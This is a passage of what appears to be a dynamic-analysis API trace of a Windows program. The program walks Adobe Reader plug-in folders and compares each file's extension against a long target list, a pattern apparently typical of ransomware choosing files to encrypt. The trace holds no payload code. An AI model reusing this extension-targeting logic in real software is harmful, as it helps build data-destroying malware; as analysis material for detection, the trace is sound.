ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.124] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.124] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0149.124] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0149.124] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.127] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.127] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.127] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0149.128] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0149.128] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.130] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.130] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.130] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0149.131] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0149.131] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0149.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42adf70 | out: hHeap=0x300000) returned 1 [0149.132] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0149.132] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0149.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0149.134] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5dbe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0149.134] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0149.136] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.136] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0149.137] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0149.139] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.139] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CAT", cAlternateFileName="")) returned 1 [0149.139] lstrlenW (lpString="Flash.CAT") returned 9 [0149.139] lstrlenW (lpString=".1cd") returned 4 [0149.139] lstrcmpiW (lpString1=".1cd", lpString2=".CAT") returned -1 [0149.139] lstrlenW (lpString=".3ds") returned 4 [0149.139] lstrcmpiW (lpString1=".3ds", lpString2=".CAT") returned -1 [0149.140] lstrlenW (lpString=".3fr") returned 4 [0149.140] lstrcmpiW (lpString1=".3fr", lpString2=".CAT") returned -1 [0149.140] lstrlenW (lpString=".3g2") returned 4 [0149.140] lstrcmpiW (lpString1=".3g2", lpString2=".CAT") returned -1 [0149.140] lstrlenW (lpString=".3gp") returned 4 [0149.140] lstrcmpiW (lpString1=".3gp", lpString2=".CAT") returned -1 [0149.140] lstrlenW (lpString=".7z") returned 3 [0149.140] lstrcmpiW (lpString1=".7z", lpString2="CAT") returned -1 [0149.140] lstrlenW (lpString=".accda") returned 6 [0149.140] lstrcmpiW (lpString1=".accda", lpString2="sh.CAT") returned -1 [0149.140] lstrlenW (lpString=".accdb") returned 6 [0149.140] lstrcmpiW (lpString1=".accdb", lpString2="sh.CAT") returned -1 [0149.140] lstrlenW (lpString=".accdc") returned 6 [0149.140] lstrcmpiW (lpString1=".accdc", lpString2="sh.CAT") returned -1 [0149.140] lstrlenW (lpString=".accde") returned 6 [0149.140] lstrcmpiW (lpString1=".accde", lpString2="sh.CAT") returned -1 [0149.140] lstrlenW (lpString=".accdt") returned 6 [0149.140] lstrcmpiW (lpString1=".accdt", lpString2="sh.CAT") returned -1 [0149.140] lstrlenW (lpString=".accdw") returned 6 [0149.140] lstrcmpiW (lpString1=".accdw", lpString2="sh.CAT") returned -1 [0149.140] lstrlenW (lpString=".adb") returned 4 [0149.140] lstrcmpiW (lpString1=".adb", lpString2=".CAT") returned -1 [0149.140] lstrlenW (lpString=".adp") returned 4 [0149.140] lstrcmpiW (lpString1=".adp", lpString2=".CAT") returned -1 [0149.140] lstrlenW (lpString=".ai") returned 3 [0149.140] lstrcmpiW (lpString1=".ai", lpString2="CAT") returned -1 [0149.140] lstrlenW (lpString=".ai3") returned 4 [0149.140] lstrcmpiW (lpString1=".ai3", lpString2=".CAT") returned -1 [0149.140] lstrlenW (lpString=".ai4") returned 4 [0149.140] lstrcmpiW (lpString1=".ai4", lpString2=".CAT") returned -1 [0149.140] lstrlenW (lpString=".ai5") returned 4 [0149.140] lstrcmpiW (lpString1=".ai5", lpString2=".CAT") returned -1 [0149.140] lstrlenW (lpString=".ai6") returned 4 [0149.140] lstrcmpiW (lpString1=".ai6", lpString2=".CAT") returned -1 [0149.141] lstrlenW (lpString=".ai7") returned 4 [0149.141] lstrcmpiW (lpString1=".ai7", lpString2=".CAT") returned -1 [0149.141] lstrlenW (lpString=".ai8") returned 4 [0149.141] lstrcmpiW (lpString1=".ai8", lpString2=".CAT") returned -1 [0149.141] lstrlenW (lpString=".anim") returned 5 [0149.141] lstrcmpiW (lpString1=".anim", lpString2="h.CAT") returned -1 [0149.141] lstrlenW (lpString=".arw") returned 4 [0149.141] lstrcmpiW (lpString1=".arw", lpString2=".CAT") returned -1 [0149.141] lstrlenW (lpString=".as") returned 3 [0149.141] lstrcmpiW (lpString1=".as", lpString2="CAT") returned -1 [0149.141] lstrlenW (lpString=".asa") returned 4 [0149.141] lstrcmpiW (lpString1=".asa", lpString2=".CAT") returned -1 [0149.141] lstrlenW (lpString=".asc") returned 4 [0149.141] lstrcmpiW (lpString1=".asc", lpString2=".CAT") returned -1 [0149.141] lstrlenW (lpString=".ascx") returned 5 [0149.141] lstrcmpiW (lpString1=".ascx", lpString2="h.CAT") returned -1 [0149.141] lstrlenW (lpString=".asm") returned 4 [0149.141] lstrcmpiW (lpString1=".asm", lpString2=".CAT") returned -1 [0149.141] lstrlenW (lpString=".asmx") returned 5 [0149.141] lstrcmpiW (lpString1=".asmx", lpString2="h.CAT") returned -1 [0149.141] lstrlenW (lpString=".asp") returned 4 [0149.141] lstrcmpiW (lpString1=".asp", lpString2=".CAT") returned -1 [0149.141] lstrlenW (lpString=".aspx") returned 5 [0149.141] lstrcmpiW (lpString1=".aspx", lpString2="h.CAT") returned -1 [0149.141] lstrlenW (lpString=".asr") returned 4 [0149.141] lstrcmpiW (lpString1=".asr", lpString2=".CAT") returned -1 [0149.141] lstrlenW (lpString=".asx") returned 4 [0149.141] lstrcmpiW (lpString1=".asx", lpString2=".CAT") returned -1 [0149.141] lstrlenW (lpString=".avi") returned 4 [0149.141] lstrcmpiW (lpString1=".avi", lpString2=".CAT") returned -1 [0149.141] lstrlenW (lpString=".avs") returned 4 [0149.141] lstrcmpiW (lpString1=".avs", lpString2=".CAT") returned -1 [0149.141] lstrlenW (lpString=".backup") returned 7 [0149.142] lstrcmpiW (lpString1=".backup", lpString2="ash.CAT") returned -1 [0149.142] lstrlenW (lpString=".bak") returned 4 [0149.142] lstrcmpiW (lpString1=".bak", lpString2=".CAT") returned -1 [0149.142] lstrlenW (lpString=".bay") returned 4 [0149.142] lstrcmpiW (lpString1=".bay", lpString2=".CAT") returned -1 [0149.142] lstrlenW (lpString=".bd") returned 3 [0149.142] lstrcmpiW (lpString1=".bd", lpString2="CAT") returned -1 [0149.142] lstrlenW (lpString=".bin") returned 4 [0149.142] lstrcmpiW (lpString1=".bin", lpString2=".CAT") returned -1 [0149.142] lstrlenW (lpString=".bmp") returned 4 [0149.142] lstrcmpiW (lpString1=".bmp", lpString2=".CAT") returned -1 [0149.142] lstrlenW (lpString=".bz2") returned 4 [0149.142] lstrcmpiW (lpString1=".bz2", lpString2=".CAT") returned -1 [0149.142] lstrlenW (lpString=".c") returned 2 [0149.142] lstrcmpiW (lpString1=".c", lpString2="AT") returned -1 [0149.142] lstrlenW (lpString=".cdr") returned 4 [0149.142] lstrcmpiW (lpString1=".cdr", lpString2=".CAT") returned 1 [0149.142] lstrlenW (lpString=".cer") returned 4 [0149.142] lstrcmpiW (lpString1=".cer", lpString2=".CAT") returned 1 [0149.142] lstrlenW (lpString=".cf") returned 3 [0149.142] lstrcmpiW (lpString1=".cf", lpString2="CAT") returned -1 [0149.142] lstrlenW (lpString=".cfc") returned 4 [0149.142] lstrcmpiW (lpString1=".cfc", lpString2=".CAT") returned 1 [0149.142] lstrlenW (lpString=".cfm") returned 4 [0149.142] lstrcmpiW (lpString1=".cfm", lpString2=".CAT") returned 1 [0149.142] lstrlenW (lpString=".cfml") returned 5 [0149.142] lstrcmpiW (lpString1=".cfml", lpString2="h.CAT") returned -1 [0149.142] lstrlenW (lpString=".cfu") returned 4 [0149.142] lstrcmpiW (lpString1=".cfu", lpString2=".CAT") returned 1 [0149.142] lstrlenW (lpString=".chm") returned 4 [0149.142] lstrcmpiW (lpString1=".chm", lpString2=".CAT") returned 1 [0149.142] lstrlenW (lpString=".cin") returned 4 [0149.142] lstrcmpiW (lpString1=".cin", lpString2=".CAT") returned 1 [0149.142] lstrlenW (lpString=".class") returned 6 [0149.143] lstrcmpiW (lpString1=".class", lpString2="sh.CAT") returned -1 [0149.143] lstrlenW (lpString=".clx") returned 4 [0149.143] lstrcmpiW (lpString1=".clx", lpString2=".CAT") returned 1 [0149.143] lstrlenW (lpString=".config") returned 7 [0149.143] lstrcmpiW (lpString1=".config", lpString2="ash.CAT") returned -1 [0149.143] lstrlenW (lpString=".cpp") returned 4 [0149.143] lstrcmpiW (lpString1=".cpp", lpString2=".CAT") returned 1 [0149.143] lstrlenW (lpString=".cr2") returned 4 [0149.143] lstrcmpiW (lpString1=".cr2", lpString2=".CAT") returned 1 [0149.143] lstrlenW (lpString=".crt") returned 4 [0149.143] lstrcmpiW (lpString1=".crt", lpString2=".CAT") returned 1 [0149.143] lstrlenW (lpString=".crw") returned 4 [0149.143] lstrcmpiW (lpString1=".crw", lpString2=".CAT") returned 1 [0149.143] lstrlenW (lpString=".cs") returned 3 [0149.143] lstrcmpiW (lpString1=".cs", lpString2="CAT") returned -1 [0149.143] lstrlenW (lpString=".css") returned 4 [0149.143] lstrcmpiW (lpString1=".css", lpString2=".CAT") returned 1 [0149.143] lstrlenW (lpString=".csv") returned 4 [0149.143] lstrcmpiW (lpString1=".csv", lpString2=".CAT") returned 1 [0149.143] lstrlenW (lpString=".cub") returned 4 [0149.143] lstrcmpiW (lpString1=".cub", lpString2=".CAT") returned 1 [0149.143] lstrlenW (lpString=".dae") returned 4 [0149.143] lstrcmpiW (lpString1=".dae", lpString2=".CAT") returned 1 [0149.143] lstrlenW (lpString=".dat") returned 4 [0149.143] lstrcmpiW (lpString1=".dat", lpString2=".CAT") returned 1 [0149.143] lstrlenW (lpString=".db") returned 3 [0149.143] lstrcmpiW (lpString1=".db", lpString2="CAT") returned -1 [0149.143] lstrlenW (lpString=".dbf") returned 4 [0149.143] lstrcmpiW (lpString1=".dbf", lpString2=".CAT") returned 1 [0149.143] lstrlenW (lpString=".dbx") returned 4 [0149.143] lstrcmpiW (lpString1=".dbx", lpString2=".CAT") returned 1 [0149.143] lstrlenW (lpString=".dc3") returned 4 [0149.143] lstrcmpiW (lpString1=".dc3", lpString2=".CAT") returned 1 [0149.144] lstrlenW (lpString=".dcm") returned 4 [0149.144] lstrcmpiW (lpString1=".dcm", lpString2=".CAT") returned 1 [0149.144] lstrlenW (lpString=".dcr") returned 4 [0149.144] lstrcmpiW (lpString1=".dcr", lpString2=".CAT") returned 1 [0149.144] lstrlenW (lpString=".der") returned 4 [0149.144] lstrcmpiW (lpString1=".der", lpString2=".CAT") returned 1 [0149.144] lstrlenW (lpString=".dib") returned 4 [0149.144] lstrcmpiW (lpString1=".dib", lpString2=".CAT") returned 1 [0149.144] lstrlenW (lpString=".dic") returned 4 [0149.144] lstrcmpiW (lpString1=".dic", lpString2=".CAT") returned 1 [0149.144] lstrlenW (lpString=".dif") returned 4 [0149.144] lstrcmpiW (lpString1=".dif", lpString2=".CAT") returned 1 [0149.144] lstrlenW (lpString=".divx") returned 5 [0149.144] lstrcmpiW (lpString1=".divx", lpString2="h.CAT") returned -1 [0149.144] lstrlenW (lpString=".djvu") returned 5 [0149.144] lstrcmpiW (lpString1=".djvu", lpString2="h.CAT") returned -1 [0149.144] lstrlenW (lpString=".dng") returned 4 [0149.144] lstrcmpiW (lpString1=".dng", lpString2=".CAT") returned 1 [0149.144] lstrlenW (lpString=".doc") returned 4 [0149.144] lstrcmpiW (lpString1=".doc", lpString2=".CAT") returned 1 [0149.144] lstrlenW (lpString=".docm") returned 5 [0149.144] lstrcmpiW (lpString1=".docm", lpString2="h.CAT") returned -1 [0149.144] lstrlenW (lpString=".docx") returned 5 [0149.144] lstrcmpiW (lpString1=".docx", lpString2="h.CAT") returned -1 [0149.144] lstrlenW (lpString=".dot") returned 4 [0149.144] lstrcmpiW (lpString1=".dot", lpString2=".CAT") returned 1 [0149.144] lstrlenW (lpString=".dotm") returned 5 [0149.144] lstrcmpiW (lpString1=".dotm", lpString2="h.CAT") returned -1 [0149.144] lstrlenW (lpString=".dotx") returned 5 [0149.144] lstrcmpiW (lpString1=".dotx", lpString2="h.CAT") returned -1 [0149.144] lstrlenW (lpString=".dpx") returned 4 [0149.144] lstrcmpiW (lpString1=".dpx", lpString2=".CAT") returned 1 [0149.144] lstrlenW (lpString=".dqy") returned 4 [0149.145] lstrcmpiW (lpString1=".dqy", lpString2=".CAT") returned 1 [0149.145] lstrlenW (lpString=".dsn") returned 4 [0149.145] lstrcmpiW (lpString1=".dsn", lpString2=".CAT") returned 1 [0149.145] lstrlenW (lpString=".dt") returned 3 [0149.145] lstrcmpiW (lpString1=".dt", lpString2="CAT") returned -1 [0149.145] lstrlenW (lpString=".dtd") returned 4 [0149.145] lstrcmpiW (lpString1=".dtd", lpString2=".CAT") returned 1 [0149.145] lstrlenW (lpString=".dwg") returned 4 [0149.145] lstrcmpiW (lpString1=".dwg", lpString2=".CAT") returned 1 [0149.145] lstrlenW (lpString=".dwt") returned 4 [0149.145] lstrcmpiW (lpString1=".dwt", lpString2=".CAT") returned 1 [0149.145] lstrlenW (lpString=".dx") returned 3 [0149.145] lstrcmpiW (lpString1=".dx", lpString2="CAT") returned -1 [0149.145] lstrlenW (lpString=".dxf") returned 4 [0149.145] lstrcmpiW (lpString1=".dxf", lpString2=".CAT") returned 1 [0149.145] lstrlenW (lpString=".edml") returned 5 [0149.145] lstrcmpiW (lpString1=".edml", lpString2="h.CAT") returned -1 [0149.145] lstrlenW (lpString=".efd") returned 4 [0149.145] lstrcmpiW (lpString1=".efd", lpString2=".CAT") returned 1 [0149.145] lstrlenW (lpString=".elf") returned 4 [0149.145] lstrcmpiW (lpString1=".elf", lpString2=".CAT") returned 1 [0149.145] lstrlenW (lpString=".emf") returned 4 [0149.145] lstrcmpiW (lpString1=".emf", lpString2=".CAT") returned 1 [0149.145] lstrlenW (lpString=".emz") returned 4 [0149.145] lstrcmpiW (lpString1=".emz", lpString2=".CAT") returned 1 [0149.145] lstrlenW (lpString=".epf") returned 4 [0149.146] lstrcmpiW (lpString1=".epf", lpString2=".CAT") returned 1 [0149.146] lstrlenW (lpString=".eps") returned 4 [0149.146] lstrcmpiW (lpString1=".eps", lpString2=".CAT") returned 1 [0149.146] lstrlenW (lpString=".epsf") returned 5 [0149.146] lstrcmpiW (lpString1=".epsf", lpString2="h.CAT") returned -1 [0149.146] lstrlenW (lpString=".epsp") returned 5 [0149.146] lstrcmpiW (lpString1=".epsp", lpString2="h.CAT") returned -1 [0149.146] lstrlenW (lpString=".erf") returned 4 [0149.146] lstrcmpiW (lpString1=".erf", lpString2=".CAT") returned 1 [0149.146] lstrlenW (lpString=".exr") returned 4 [0149.146] lstrcmpiW (lpString1=".exr", lpString2=".CAT") returned 1 [0149.146] lstrlenW (lpString=".f4v") returned 4 [0149.146] lstrcmpiW (lpString1=".f4v", lpString2=".CAT") returned 1 [0149.146] lstrlenW (lpString=".fido") returned 5 [0149.146] lstrcmpiW (lpString1=".fido", lpString2="h.CAT") returned -1 [0149.146] lstrlenW (lpString=".flm") returned 4 [0149.146] lstrcmpiW (lpString1=".flm", lpString2=".CAT") returned 1 [0149.146] lstrlenW (lpString=".flv") returned 4 [0149.146] lstrcmpiW (lpString1=".flv", lpString2=".CAT") returned 1 [0149.146] lstrlenW (lpString=".frm") returned 4 [0149.146] lstrcmpiW (lpString1=".frm", lpString2=".CAT") returned 1 [0149.146] lstrlenW (lpString=".fxg") returned 4 [0149.146] lstrcmpiW (lpString1=".fxg", lpString2=".CAT") returned 1 [0149.146] lstrlenW (lpString=".geo") returned 4 [0149.146] lstrcmpiW (lpString1=".geo", lpString2=".CAT") returned 1 [0149.146] lstrlenW (lpString=".gif") returned 4 [0149.146] lstrcmpiW (lpString1=".gif", lpString2=".CAT") returned 1 [0149.146] lstrlenW (lpString=".grs") returned 4 [0149.147] lstrcmpiW (lpString1=".grs", lpString2=".CAT") returned 1 [0149.147] lstrlenW (lpString=".gz") returned 3 [0149.147] lstrcmpiW (lpString1=".gz", lpString2="CAT") returned -1 [0149.147] lstrlenW (lpString=".h") returned 2 [0149.147] lstrcmpiW (lpString1=".h", lpString2="AT") returned -1 [0149.147] lstrlenW (lpString=".hdr") returned 4 [0149.147] lstrcmpiW (lpString1=".hdr", lpString2=".CAT") returned 1 [0149.147] lstrlenW (lpString=".hpp") returned 4 [0149.147] lstrcmpiW (lpString1=".hpp", lpString2=".CAT") returned 1 [0149.147] lstrlenW (lpString=".hta") returned 4 [0149.147] lstrcmpiW (lpString1=".hta", lpString2=".CAT") returned 1 [0149.147] lstrlenW (lpString=".htc") returned 4 [0149.147] lstrcmpiW (lpString1=".htc", lpString2=".CAT") returned 1 [0149.147] lstrlenW (lpString=".htm") returned 4 [0149.147] lstrcmpiW (lpString1=".htm", lpString2=".CAT") returned 1 [0149.147] lstrlenW (lpString=".html") returned 5 [0149.147] lstrcmpiW (lpString1=".html", lpString2="h.CAT") returned -1 [0149.147] lstrlenW (lpString=".icb") returned 4 [0149.147] lstrcmpiW (lpString1=".icb", lpString2=".CAT") returned 1 [0149.147] lstrlenW (lpString=".ics") returned 4 [0149.147] lstrcmpiW (lpString1=".ics", lpString2=".CAT") returned 1 [0149.147] lstrlenW (lpString=".iff") returned 4 [0149.147] lstrcmpiW (lpString1=".iff", lpString2=".CAT") returned 1 [0149.147] lstrlenW (lpString=".inc") returned 4 [0149.147] lstrcmpiW (lpString1=".inc", lpString2=".CAT") returned 1 [0149.147] lstrlenW (lpString=".indd") returned 5 [0149.147] lstrcmpiW (lpString1=".indd", lpString2="h.CAT") returned -1 [0149.148] lstrlenW (lpString=".ini") returned 4 [0149.148] lstrcmpiW (lpString1=".ini", lpString2=".CAT") returned 1 [0149.148] lstrlenW (lpString=".iqy") returned 4 [0149.148] lstrcmpiW (lpString1=".iqy", lpString2=".CAT") returned 1 [0149.148] lstrlenW (lpString=".j2c") returned 4 [0149.148] lstrcmpiW (lpString1=".j2c", lpString2=".CAT") returned 1 [0149.148] lstrlenW (lpString=".j2k") 